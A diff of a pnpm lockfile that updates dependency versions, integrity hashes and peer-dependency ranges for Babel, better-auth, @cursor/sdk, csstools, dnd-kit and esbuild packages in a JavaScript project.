     resolution: {integrity: sha512-sl4Bm6yiMNYrZKkqqDFWN0UfnWhlS8ivKxrYl+6t0gCLrqr8y3B2IqZZbFRkfaVVp7C/baApyh71P+LeE1A2sQ==}
     engines: {node: '>=18.0.0'}
 
-  '@babel/code-frame@7.29.0':
-    resolution: {integrity: sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==}
-    engines: {node: '>=6.9.0'}
-
   '@babel/code-frame@7.29.7':
     resolution: {integrity: sha512-Aup7aUOfpbAUg2ROOJN6Iw5f9DMBlzu0mIkm/malLQFN/YQgO48wCj0Kxa3sEHJvPVFg7siR+qRInwXd2qhQKw==}
     engines: {node: '>=6.9.0'}
 
-  '@babel/compat-data@7.29.0':
-    resolution: {integrity: sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg==}
-    engines: {node: '>=6.9.0'}
-
   '@babel/compat-data@7.29.7':
     resolution: {integrity: sha512-locTkQyKvwIEgBzVrn8693ebc97F2U8ZHjbXwDXJ5Fn2TCpNwTlKcaKLkdHop5c/icOFE7qt7Q9JC5hnKNa6Gg==}
     engines: {node: '>=6.9.0'}
 
-  '@babel/core@7.29.0':
-    resolution: {integrity: sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==}
-    engines: {node: '>=6.9.0'}
-
   '@babel/core@7.29.7':
     resolution: {integrity: sha512-RgHBCvtjbOK2gXSNBNIkNoEc9qoVEtau3hj8gEqKQuL3HZAibKarWFEI3Lfm6EYKkLalOh8eSrj9b+ch9H/VBA==}
     engines: {node: '>=6.9.0'}
 
-  '@babel/generator@7.29.1':
-    resolution: {integrity: sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==}
-    engines: {node: '>=6.9.0'}
-
-  '@babel/generator@7.29.7':
-    resolution: {integrity: sha512-DkXD5OJQaAQIdZ1bt3UZdEnHAn9Imd3IVBdX03UFe+ony9Ojw5pzr9YVKGDY1jt+Gcn/FnGkNf8r+Vj5NOJWtQ==}
-    engines: {node: '>=6.9.0'}
-
-  '@babel/helper-compilation-targets@7.28.6':
-    resolution: {integrity: sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA==}
+  '@babel/generator@7.29.8':
+    resolution: {integrity: sha512-gZbepsdh3WDtgZKWL+vTPh71LSBrm/Y4/QDZBVCcYfmeTEEuoOYwlSy+G1StfJg+/Zy550u/3TATbm7qDbbMtg==}
     engines: {node: '>=6.9.0'}
 
   '@babel/helper-compilation-targets@7.29.7':
     resolution: {integrity: sha512-wem6WaBj4NaVYVdNhLPPVacES6ZJ+KBBfSkTMD3YZxbP3rm3Di85tJU5ljaUNhaOynt+Aj0xruhYuzQBt8n71g==}
     engines: {node: '>=6.9.0'}
 
-  '@babel/helper-globals@7.28.0':
-    resolution: {integrity: sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==}
-    engines: {node: '>=6.9.0'}
-
   '@babel/helper-globals@7.29.7':
     resolution: {integrity: sha512-3nQVUAtvkKH9zahfWgw96Jc/uFOmjACE1kQz82E2lqWmHBgjzbNlsC22nuQTfahmWeQtTq5nQ/4Nnd2A1wj4zA==}
     engines: {node: '>=6.9.0'}
 
-  '@babel/helper-module-imports@7.28.6':
-    resolution: {integrity: sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw==}
-    engines: {node: '>=6.9.0'}
-
   '@babel/helper-module-imports@7.29.7':
     resolution: {integrity: sha512-ejHwrQQYcm9xnTivShn2IDOlIzInN34AXskvq9QicvCtEzq1Vzclu/tKF8Jq1Cg8JG2GL6/EmjgsCT7lXepE3g==}
     engines: {node: '>=6.9.0'}
 
-  '@babel/helper-module-transforms@7.28.6':
-    resolution: {integrity: sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA==}
-    engines: {node: '>=6.9.0'}
-    peerDependencies:
-      '@babel/core': ^7.0.0
-
   '@babel/helper-module-transforms@7.29.7':
     resolution: {integrity: sha512-UPUVSyXbOh627KiCIGQSgwWzGeBKLkaJ9PJEdrngIwMSzxLR4jS4+f1f1jb7VzBbg8nFLaYotvVPFCTqdrmTAg==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0
 
-  '@babel/helper-plugin-utils@7.28.6':
-    resolution: {integrity: sha512-S9gzZ/bz83GRysI7gAD4wPT/AI3uCnY+9xn+Mx/KPs2JwHJIz1W8PZkg2cqyt3RNOBM8ejcXhV6y8Og7ly/Dug==}
+  '@babel/helper-plugin-utils@7.29.7':
+    resolution: {integrity: sha512-G7sHYigPY17oO5SYWnfD/0MTBwVR781S/JI643e/JhUYgVgWE/61SoW3NH9KWUKyKq5LVh3npif99Wkt6j86Jw==}
     engines: {node: '>=6.9.0'}
 
   '@babel/helper-string-parser@7.27.1':
@@ -1350,40 +1359,27 @@ packages:
     resolution: {integrity: sha512-qehxGkRj55h/ff8EMaJ+cYhyaKlHIxqYDn682wQD7RNp9UujOQsHog2uS0r2vzr4pW+sXf90NeeayjcNaX3fFg==}
     engines: {node: '>=6.9.0'}
 
-  '@babel/helper-validator-option@7.27.1':
-    resolution: {integrity: sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==}
-    engines: {node: '>=6.9.0'}
-
   '@babel/helper-validator-option@7.29.7':
     resolution: {integrity: sha512-N9ZErrD+yW5geCDtBqnOoxmR8+tNKiGuxKlDpuJxfsqpa2dFcexaziGAE/qoHLiDDreVNMupxGmSoNlyvsA3gw==}
     engines: {node: '>=6.9.0'}
 
-  '@babel/helpers@7.28.6':
-    resolution: {integrity: sha512-xOBvwq86HHdB7WUDTfKfT/Vuxh7gElQ+Sfti2Cy6yIWNW05P8iUslOVcZ4/sKbE+/jQaukQAdz/gf3724kYdqw==}
-    engines: {node: '>=6.9.0'}
-
   '@babel/helpers@7.29.7':
     resolution: {integrity: sha512-1k2lAGRMfHTcwuNYcCNUmaUffmQv8KWMfh2iJUUeRlwlwH4FdNG7mfPI10NPfLHJFThE4Tyr4mv7kTNZOiPuBg==}
     engines: {node: '>=6.9.0'}
 
-  '@babel/parser@7.29.0':
-    resolution: {integrity: sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww==}
+  '@babel/parser@7.29.8':
+    resolution: {integrity: sha512-E8lTAYNB1KW+FH+VGJuZM1ioAx2E6oVlvQFRrf5P8ZZmsiJXYAD9vTFV7yyEURNzgh1dFqMZuO6tUwcARbqFCA==}
     engines: {node: '>=6.0.0'}
     hasBin: true
 
-  '@babel/parser@7.29.7':
-    resolution: {integrity: sha512-hnORnjP/1P/zFEndoeX+n+t1RwWRJiJpM/jO7FW32Kn9r5+sJB2JWOdYo4L6k78j15eCwY3Gm/7364B1EMwtNg==}
-    engines: {node: '>=6.0.0'}
-    hasBin: true
-
-  '@babel/plugin-transform-react-jsx-self@7.27.1':
-    resolution: {integrity: sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw==}
+  '@babel/plugin-transform-react-jsx-self@7.29.7':
+    resolution: {integrity: sha512-TL0hMc9xzy86VD31nUiwzd5otRAcyEPcsegCxolO0PvcXuH1v0kECe/UIznYFihpkvU5wg/jk4v0TTEFfm53fw==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
 
-  '@babel/plugin-transform-react-jsx-source@7.27.1':
-    resolution: {integrity: sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw==}
+  '@babel/plugin-transform-react-jsx-source@7.29.7':
+    resolution: {integrity: sha512-06IyK09H3wi4cGbhDBwp5gUGo0IKtnYa8tyTiephirPCK6fbobVGiXMMI5zLQ4aKEYP3wZ3ArU44o+8KMrSG/Q==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
@@ -1392,39 +1388,31 @@ packages:
     resolution: {integrity: sha512-Nq8OhGWiZIZGV6hLHoyAKLLcJihP/xFeBMGJoUrxTX2psI8dCifzLhZISFb+VWS3wFMRDmCGw5R+dOySCqPLhw==}
     engines: {node: '>=6.9.0'}
 
-  '@babel/template@7.28.6':
-    resolution: {integrity: sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==}
-    engines: {node: '>=6.9.0'}
-
   '@babel/template@7.29.7':
     resolution: {integrity: sha512-puq+Gf35oI24FeN11LkoUQFqv9uwNeWpxXZi/Ji3rRIoKAzKnxRaZ+Gkj0vKS9ZCiTESfng1N9LyOyXvo+m+Gg==}
     engines: {node: '>=6.9.0'}
 
-  '@babel/traverse@7.29.0':
-    resolution: {integrity: sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==}
-    engines: {node: '>=6.9.0'}
-
-  '@babel/traverse@7.29.7':
-    resolution: {integrity: sha512-EhlfNQtZ+NK22w5BM61ciuiq1m58ed33Wr1Xan//ZRTy6hgjnwyCffRYwzsGXdASJSUJ1guZILsErh1eQcl+zw==}
+  '@babel/traverse@7.29.8':
+    resolution: {integrity: sha512-I5z7H3bf/41ktsNVLtpN0wAa336HkqIHQ5BuPLEhTkt1jVSyZpeNKIzTgEWmlxjdg81R0IgUCcaE+Ok3NvrfZg==}
     engines: {node: '>=6.9.0'}
 
   '@babel/types@7.29.0':
     resolution: {integrity: sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==}
     engines: {node: '>=6.9.0'}
 
-  '@babel/types@7.29.7':
-    resolution: {integrity: sha512-4zBIxpPzowiZpusoFkyGVwakdRJUyuH5PxQ/PrqghfdFWWasvnCdPfQXHrenDai+gyLARulZjZowCOj6fjT4pA==}
+  '@babel/types@7.29.8':
+    resolution: {integrity: sha512-Vj1jF3cPfxg7OAfoI7QnVKLoILlm2JF9pnVHrX8qx7AHMiYWT+NDAA7jChlNgRS4WTLc/fD1lXLmPixluj+3Gg==}
     engines: {node: '>=6.9.0'}
 
-  '@base-ui/react@1.6.0':
-    resolution: {integrity: sha512-/jzjTWJYXhRFO45Bev9lc3cHbmjzCMpUqbMZ2AgKy/z25mY9B6shGSNcXcjQar9n5doM0KYW1W8fcFv2jZBuMw==}
+  '@base-ui/react@1.7.0':
+    resolution: {integrity: sha512-j+8QjX44C32jrXD/qyEAGpFr70FRpGL2CY61mQd9nBPWN737CK0xxD1ceJ055rW4RtdvFDT1e7otzdlfxvsYug==}
     engines: {node: '>=14.0.0'}
     peerDependencies:
       '@date-fns/tz': ^1.2.0
       '@types/react': ^17 || ^18 || ^19
       date-fns: ^4.0.0
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@date-fns/tz':
         optional: true
@@ -1433,24 +1421,24 @@ packages:
       date-fns:
         optional: true
 
-  '@base-ui/utils@0.3.1':
-    resolution: {integrity: sha512-gFFiltORVmW/N6IILTGxizP3PBpVpysqML1ALY5Vk0mH+7faVkCknOU31goYHN5Aoek2dkjxva1XOD2Ce9WuIg==}
+  '@base-ui/utils@0.3.2':
+    resolution: {integrity: sha512-oWy1aq/I2GmYjpl4PhEAhzflF8VPGKgZeq0xAWTbfD5KBWyxcN0ZP2+WHSUm/5Z6lVMBDLReLcoXwSYoRc/zNQ==}
     peerDependencies:
       '@types/react': ^17 || ^18 || ^19
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
     peerDependenciesMeta:
       '@types/react':
         optional: true
 
-  '@better-auth/core@1.6.25':
-    resolution: {integrity: sha512-lMTlhtwyK4NpY9kPF+2rQCRKYpg136d3gM2xl8esxT1PjJx5Nh5YwZvxcYCIjDuO759sx6TCloJTuwcZGG6ZBw==}
+  '@better-auth/core@1.6.28':
+    resolution: {integrity: sha512-UzRh0Tx8OFmjl2iN+e+wNb3oZaBIXLw/DNgTotaEbatZdQePpekjq/0WBOHkLh6XEuOWQpF1VSJD8stgrQvP2Q==}
     peerDependencies:
       '@better-auth/utils': 0.4.2
       '@better-fetch/fetch': 1.3.1
       '@cloudflare/workers-types': '>=4'
       '@opentelemetry/api': ^1.9.0
-      better-call: 1.3.7
+      better-call: 1.4.0
       jose: ^6.1.0
       kysely: ^0.28.5 || ^0.29.0
       nanostores: ^1.0.1
@@ -1460,46 +1448,46 @@ packages:
       '@opentelemetry/api':
         optional: true
 
-  '@better-auth/drizzle-adapter@1.6.25':
-    resolution: {integrity: sha512-ru/DeKjFPQUVeKkxF/ScazmPqIY7lwfkAV5Yt4j24wmn1Y8vFwoiPRnHgXUeZqBs10+nubaRwEqLF39CP6EhRw==}
+  '@better-auth/drizzle-adapter@1.6.28':
+    resolution: {integrity: sha512-TXuiTUuAqwQ6vlLS4X2yPl+cqhqPBtbxsC8mqyVVpg5UlUmxPBv89iGDue/fROIqjHFX8rjkD5f8IiDTyOSlnw==}
     peerDependencies:
-      '@better-auth/core': ^1.6.25
+      '@better-auth/core': ^1.6.28
       '@better-auth/utils': 0.4.2
       drizzle-orm: ^0.45.2
     peerDependenciesMeta:
       drizzle-orm:
         optional: true
 
-  '@better-auth/kysely-adapter@1.6.25':
-    resolution: {integrity: sha512-zxiePhtN1YClS1irKYPVwWfN6kYp+QoYlz1hdQUOj8hXyo2aE/ny4RNAb6v332b0+U6Vu88EhYITRPdmvCo6uA==}
+  '@better-auth/kysely-adapter@1.6.28':
+    resolution: {integrity: sha512-EJ8qhdIvOAb+lisGIaWT4T1a8S2Fs2O22U+1GvTYhyra4+MVRakNLkn9og6rH2ILRibTpJ4itzanhpuWrkah3A==}
     peerDependencies:
-      '@better-auth/core': ^1.6.25
+      '@better-auth/core': ^1.6.28
       '@better-auth/utils': 0.4.2
       kysely: ^0.28.17 || ^0.29.0
     peerDependenciesMeta:
       kysely:
         optional: true
 
-  '@better-auth/memory-adapter@1.6.25':
-    resolution: {integrity: sha512-GhEzTumc8yfTz+OZ6pMg06BA49xob49x1bX+1mEl/FStDJoSF+6mTfI5M2ytFxaiN89336/aUjkW8u+qRyLexw==}
+  '@better-auth/memory-adapter@1.6.28':
+    resolution: {integrity: sha512-fl000Re8x8RsXNooZ7BJEq19f5UMOnbdkQKkY5qQJmLwWo/Sa1ODkfj6Mq1knFkOdJ5e6ABU2lh3a8WyqSH2aA==}
     peerDependencies:
-      '@better-auth/core': ^1.6.25
+      '@better-auth/core': ^1.6.28
       '@better-auth/utils': 0.4.2
 
-  '@better-auth/mongo-adapter@1.6.25':
-    resolution: {integrity: sha512-ZtMmjcOdXR2Ziqx5y8ptTOaNpe0snNfALbBUPXJsgeyeRkDJDYzyLZ8MpuvNBTNllNeIFDbiXWAK5k+pEBZrUQ==}
+  '@better-auth/mongo-adapter@1.6.28':
+    resolution: {integrity: sha512-tJUmg7Z/TeOzpcdGceTkHVuyViVuHcradK1CFonLBuW4Vv+R5w8e2g9xuXOfjH4Wt9ZKd0LxyXWhpVVWWtyIQg==}
     peerDependencies:
-      '@better-auth/core': ^1.6.25
+      '@better-auth/core': ^1.6.28
       '@better-auth/utils': 0.4.2
       mongodb: ^6.0.0 || ^7.0.0
     peerDependenciesMeta:
       mongodb:
         optional: true
 
-  '@better-auth/prisma-adapter@1.6.25':
-    resolution: {integrity: sha512-ym7B6Iqcry+/4aQnYpFwqP/GBIiXvjrm/5B6+0qmx8mkTY/apHFTpHuGzUYYNf4vPTtzF3eYY2+s2GOsomKaRg==}
+  '@better-auth/prisma-adapter@1.6.28':
+    resolution: {integrity: sha512-Fr26MGainOZN6Oidz/AxiVDrHE5PN2v2z7hTlQGbHC4ZaVV8wrOt+QoQcJhQHZXJSzmOnVAQwW7dj3TWDbZhHA==}
     peerDependencies:
-      '@better-auth/core': ^1.6.25
+      '@better-auth/core': ^1.6.28
       '@better-auth/utils': 0.4.2
       '@prisma/client': ^5.0.0 || ^6.0.0 || ^7.0.0
       prisma: ^5.0.0 || ^6.0.0 || ^7.0.0
@@ -1509,16 +1497,19 @@ packages:
       prisma:
         optional: true
 
-  '@better-auth/telemetry@1.6.25':
-    resolution: {integrity: sha512-2ZfC9lp7tU6Jw/q2Lz/bKfQqGMdMwc/IQDTYdBhvtGi24qInYVnhp2ZCW57hHM9j+fq1ULOtxgg6M3T1LEaihw==}
+  '@better-auth/telemetry@1.6.28':
+    resolution: {integrity: sha512-FTa0TTcW1/FsodjnmE1oisAXg6lMjKEhgQExNafF05oHW624Qrz7GU7eFuBV/0qj5Jn3yIYyOsbqkVTRvSwKnw==}
     peerDependencies:
-      '@better-auth/core': ^1.6.25
+      '@better-auth/core': ^1.6.28
       '@better-auth/utils': 0.4.2
       '@better-fetch/fetch': 1.3.1
 
   '@better-auth/utils@0.4.2':
     resolution: {integrity: sha512-AUxrvu+HaaODsUyzDxFgwd/8RZ1yZaYo42LXKSrU2oGgR38pS1ij8nqQKNgtTWoYGpNevNXtCfgTy6loHveW9A==}
 
+  '@better-auth/utils@0.5.0':
+    resolution: {integrity: sha512-BL8W4EfIZFwlu0r54m3v1ztjDhu6dDe/amLTm0xybmbZaNgYUqhD3SjpAsnq0q8YD6/ki4iwIgxJNLP/N3TxiA==}
+
   '@better-fetch/fetch@1.3.1':
     resolution: {integrity: sha512-ABkD1WhyfPZprKRQI3bhATjeiFuNWC9PXhfGWqL+sg/gKrM977oFrYkdb4msM3hgUGonr7KlOsOFT5TU2rht9g==}
 
@@ -1535,16 +1526,10 @@ packages:
   '@chevrotain/types@11.1.2':
     resolution: {integrity: sha512-U+HFai5+zmJCkK86QsaJtoITlboZHBqrVketcO2ROv865xfCMSFpELQoz1GkX5GzME8pTa+3kbKrZHQtI0gdbw==}
 
-  '@clack/core@0.5.0':
-    resolution: {integrity: sha512-p3y0FIOwaYRUPRcMO7+dlmLh8PSRcrjuTndsiA0WAFbWES0mLZlrjVoBRZ9DzkPFJZG6KGkJmoEAY0ZcVWTkow==}
-
   '@clack/core@1.4.3':
     resolution: {integrity: sha512-/kr3UWNtdJfxZtPgDqUOmG2pvwlmcLGheex5yiZKdwbzZJxhV+HMNR9QNmyY5cGwTNV6LrR7Jtp+KjhUAP1qBQ==}
     engines: {node: '>= 20.12.0'}
 
-  '@clack/prompts@0.11.0':
-    resolution: {integrity: sha512-pMN5FcrEw9hUkZA4f+zLlzivQSeQf5dRGJjSUbvVYDLvpKCdQx5OaknvKzgbtXOizhP+SJJJjqEbOe55uKKfAw==}
-
   '@clack/prompts@1.7.0':
     resolution: {integrity: sha512-y7/yvZ2TPAnR9+jnc00klvNNLkJiXFFrQA/hlLCcxA9a2A4zQIOimyFQ9XfwYKiGD1fb5GY8vbKIIgO8d5Tb2A==}
     engines: {node: '>= 20.12.0'}
@@ -1660,8 +1645,8 @@ packages:
   '@codesandbox/sandpack-react@2.20.0':
     resolution: {integrity: sha512-takd1YpW/PMQ6KPQfvseWLHWklJovGY8QYj8MtWnskGKbjOGJ6uZfyZbcJ6aCFLQMpNyjTqz9AKNbvhCOZ1TUQ==}
     peerDependencies:
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
 
   '@connectrpc/connect-node@1.7.0':
     resolution: {integrity: sha512-6vaPIkG/NyhxlYgytLoR9KYbPhczEboFB2OYWkA9qvUz1K7efXfeGrlRxoLtpa+r8VxyIOw73w5ktNe743nD+A==}
@@ -1681,19 +1666,19 @@ packages:
     peerDependencies:
       '@bufbuild/protobuf': ^1.10.0
 
-  '@csstools/color-helpers@6.0.2':
-    resolution: {integrity: sha512-LMGQLS9EuADloEFkcTBR3BwV/CGHV7zyDxVRtVDTwdI2Ca4it0CCVTT9wCkxSgokjE5Ho41hEPgb8OEUwoXr6Q==}
+  '@csstools/color-helpers@6.1.1':
+    resolution: {integrity: sha512-gLNsunvwf3mCi5u5o46/Z/JcJMnhbHSaZ69rkgPzNM3J4s8hWwpPUQB6/tt0EDFyCiWzxANlx+2LJwpYj4zS1w==}
     engines: {node: '>=20.19.0'}
 
-  '@csstools/css-calc@3.1.1':
-    resolution: {integrity: sha512-HJ26Z/vmsZQqs/o3a6bgKslXGFAungXGbinULZO3eMsOyNJHeBBZfup5FiZInOghgoM4Hwnmw+OgbJCNg1wwUQ==}
+  '@csstools/css-calc@3.3.0':
+    resolution: {integrity: sha512-c5ihYsPkdG6JCkU2zTMm4+k6r7RXuGxtWYhu5DHMIiF1FHzrfmHL5so11AoFpUv/tu61xfcmT4AmKoFfMPoqdQ==}
     engines: {node: '>=20.19.0'}
     peerDependencies:
       '@csstools/css-parser-algorithms': ^4.0.0
       '@csstools/css-tokenizer': ^4.0.0
 
-  '@csstools/css-color-parser@4.0.2':
-    resolution: {integrity: sha512-0GEfbBLmTFf0dJlpsNU7zwxRIH0/BGEMuXLTCvFYxuL1tNhqzTbtnFICyJLTNK4a+RechKP75e7w42ClXSnJQw==}
+  '@csstools/css-color-parser@4.2.0':
+    resolution: {integrity: sha512-5+5LEmFuY1AjXdYhmgjTJogtQnP1evJ1zrBZGUNZ0thkpwnnmKxcHdAMn/OtFjAb25zA+jKDVYVRl+5G7rjv1A==}
     engines: {node: '>=20.19.0'}
     peerDependencies:
       '@csstools/css-parser-algorithms': ^4.0.0
@@ -1705,8 +1690,8 @@ packages:
     peerDependencies:
       '@csstools/css-tokenizer': ^4.0.0
 
-  '@csstools/css-syntax-patches-for-csstree@1.1.1':
-    resolution: {integrity: sha512-BvqN0AMWNAnLk9G8jnUT77D+mUbY/H2b3uDTvg2isJkHaOufUE2R3AOwxWo7VBQKT1lOdwdvorddo2B/lk64+w==}
+  '@csstools/css-syntax-patches-for-csstree@1.1.8':
+    resolution: {integrity: sha512-CpMLjAvwQg3BL5S0IeqsZNMH7EQrEWi0kLKOC13ZBF0ZwERiLWlibNPJr8G1kdU3Ms/r2KiNrF81pUh2HwAHdg==}
     peerDependencies:
       css-tree: ^3.2.1
     peerDependenciesMeta:
@@ -1717,61 +1702,61 @@ packages:
     resolution: {integrity: sha512-QxULHAm7cNu72w97JUNCBFODFaXpbDg+dP8b/oWFAZ2MTRppA3U00Y2L1HqaS4J6yBqxwa/Y3nMBaxVKbB/NsA==}
     engines: {node: '>=20.19.0'}
 
-  '@cursor/sdk-darwin-arm64@1.0.24':
-    resolution: {integrity: sha512-0RIjcm2CFLuu0N/GnQ3G+8UGIQKv9jEgVkLr2gGjVoEN5UfwA6G3eLO/U6SfnMdFNkftJ9j/efcCHuS/OFPuNA==}
+  '@cursor/sdk-darwin-arm64@1.0.28':
+    resolution: {integrity: sha512-P9k17dHzyYirjvMIkdxGtIWFEpkC1lB0TSbNE3AEusr5UwYTHFt13+MK5j9GK8Tg3r9ncg4IeSDQgx7HvA2VAw==}
     cpu: [arm64]
     os: [darwin]
     hasBin: true
 
-  '@cursor/sdk-darwin-x64@1.0.24':
-    resolution: {integrity: sha512-BmD1hbV0SCIRv9FGIhoM4XgCbWdcVGpjiPXUiIlGaYDM9ZXpmit6x9tx2iSGUIIc7ytpIYsQaSBEUsSQsNl7wQ==}
+  '@cursor/sdk-darwin-x64@1.0.28':
+    resolution: {integrity: sha512-SFamp6b3a5/Og4RIYpxivA9TNqSam8+yeDwdu4+iV9GwZygtw2y1r8Qz2r7VpDj40gou2UP/p8Nu54nAdAl4Mg==}
     cpu: [x64]
     os: [darwin]
     hasBin: true
 
-  '@cursor/sdk-linux-arm64@1.0.24':
-    resolution: {integrity: sha512-zCZcHwKPopqeXEsja2EmsV6En3hAhd3alnCfKbiYZdE9XQAaTza0XFji7a4uRjKGitlQ0JDIYHRIJg/2nvTkrQ==}
+  '@cursor/sdk-linux-arm64@1.0.28':
+    resolution: {integrity: sha512-J0Pp2vZLApRm4+j35zNFaMkAuI7AoTzY7bt1UdRC/NSAcJsh74soCf/HqB59Ps94HaznF7PYl1ft6ltnn4to4g==}
     cpu: [arm64]
     os: [linux]
     hasBin: true
 
-  '@cursor/sdk-linux-x64@1.0.24':
-    resolution: {integrity: sha512-pK80OM4CSB0G8ModhRhb85+FYEROmK8nad6Lj8LDZngQ1ZgJi/nrdgUuHykOtza7T00D14x9Q2l0pwf/ybXxog==}
+  '@cursor/sdk-linux-x64@1.0.28':
+    resolution: {integrity: sha512-YFBA2syvFJZE15d1MBtgqJJCuYGbZEU7GcE8EaGDU3A6iJguZg7PB97c3ux2qN5kJtdk0+EveevrIi2UJsr5Ag==}
     cpu: [x64]
     os: [linux]
     hasBin: true
 
-  '@cursor/sdk-win32-x64@1.0.24':
-    resolution: {integrity: sha512-vU4ossYSuw0adCK0ssZvwCeT6dmdBR29EMdHrB9G89SzIJ9xpodkKKjDL0aN5dEwy7wOKyUJIjprfw/A4U8F5A==}
+  '@cursor/sdk-win32-x64@1.0.28':
+    resolution: {integrity: sha512-+9G30RcR+cDkQxiyFBfrNWSBkZJc19G9L7+bTl9PdiBI7FPCu1vCCdP4BBvntdCkFS9LwEX3iJyWJqEreFjNQg==}
     cpu: [x64]
     os: [win32]
     hasBin: true
 
-  '@cursor/sdk@1.0.24':
-    resolution: {integrity: sha512-pHoVRSiyBMTFBMjhAihvzXbiJSFNs63dULE+11jzCX/s1a7/I7Zp0cC4jWRw1ykckEPcho8QiEEgSR3qBRmDBw==}
+  '@cursor/sdk@1.0.28':
+    resolution: {integrity: sha512-bO7Ld00xXV5kFB9WDeBiyADgon3r/BQXc9qZ4sHlXX9ZQpzIkTfHrYU7g278pcHTuz+l/vPcPcc7JByeRWHeqA==}
     engines: {node: '>=22.13'}
 
   '@dnd-kit/accessibility@3.1.1':
     resolution: {integrity: sha512-2P+YgaXF+gRsIihwwY1gCsQSYnu9Zyj2py8kY5fFvUM1qm2WA2u639R6YNVfU4GWr+ZM5mqEsfHZZLoRONbemw==}
     peerDependencies:
-      react: ^19.2.7
+      react: ^19.2.8
 
   '@dnd-kit/core@6.3.1':
     resolution: {integrity: sha512-xkGBRQQab4RLwgXxoqETICr6S5JlogafbhNsidmrkVv2YRs5MLwpjoF2qpiGjQt8S9AoxtIV603s0GIUpY5eYQ==}
     peerDependencies:
-      react: ^19.2.7
-      react-dom: ^19.2.7
+      react: ^19.2.8
+      react-dom: ^19.2.8
 
   '@dnd-kit/sortable@10.0.0':
     resolution: {integrity: sha512-+xqhmIIzvAYMGfBYYnbKuNicfSsk4RksY2XdmJhT+HAC01nix6fHCztU68jooFiMUB01Ky3F0FyOvhG/BZrWkg==}
     peerDependencies:
       '@dnd-kit/core': ^6.3.0
-      react: ^19.2.7
+      react: ^19.2.8
 
   '@dnd-kit/utilities@3.2.2':
     resolution: {integrity: sha512-+MKAJEOfaBe5SmV6t34p80MMKhjvUz0vRrvVJbPT0WElzaOJ/1xs+D+KDv+tD/NE5ujfrChEcshd4fLn0wpiqg==}
     peerDependencies:
-      react: ^19.2.7
+      react: ^19.2.8
 
   '@drizzle-team/brocli@0.10.2':
     resolution: {integrity: sha512-z33Il7l5dKjUgGULTqBsQBQwckHh5AbIuxhdsIxDDiZAzBOrZO6q9ogcWC65kU382AfynTfgNumVcNIjuIua6w==}
@@ -1874,6 +1859,12 @@ packages:
     cpu: [ppc64]
     os: [aix]
 
+  '@esbuild/aix-ppc64@0.28.2':
+    resolution: {integrity: sha512-XExcO+dvLKvVtNTibSTBej1NCAbaGhWn9Ww1ZPx80qsahhPFe/8jgWP0IchNe0F3HwkU7n8ejhH8bjonqht8mQ==}
+    engines: {node: '>=18'}
+    cpu: [ppc64]
+    os: [aix]
+
   '@esbuild/android-arm64@0.18.20':
     resolution: {integrity: sha512-Nz4rJcchGDtENV0eMKUNa6L12zz2zBDXuhj/Vjh18zGqB44Bi7MBMSXjgunJgjRhCmKOjnPuZp4Mb6OKqtMHLQ==}
     engines: {node: '>=12'}
@@ -1898,6 +1889,12 @@ packages:
     cpu: [arm64]
     os: [android]
 
+  '@esbuild/android-arm64@0.28.2':
+    resolution: {integrity: sha512-5YfKeeI8qWfBZIX+u2xZC3Zlb3Os/gLS2sbEKM+I4ZOcsWmHS2WLysCcQZDAFRslDUU5Oiq44gf6PYN1vGwG5A==}
+    engines: {node: '>=18'}
+    cpu: [arm64]
+    os: [android]
+
   '@esbuild/android-arm@0.18.20':
     resolution: {integrity: sha512-fyi7TDI/ijKKNZTUJAQqiG5T7YjJXgnzkURqmGj13C6dCqckZBLdl4h7bkhHt/t0WP+zO9/zwroDvANaOqO5Sw==}
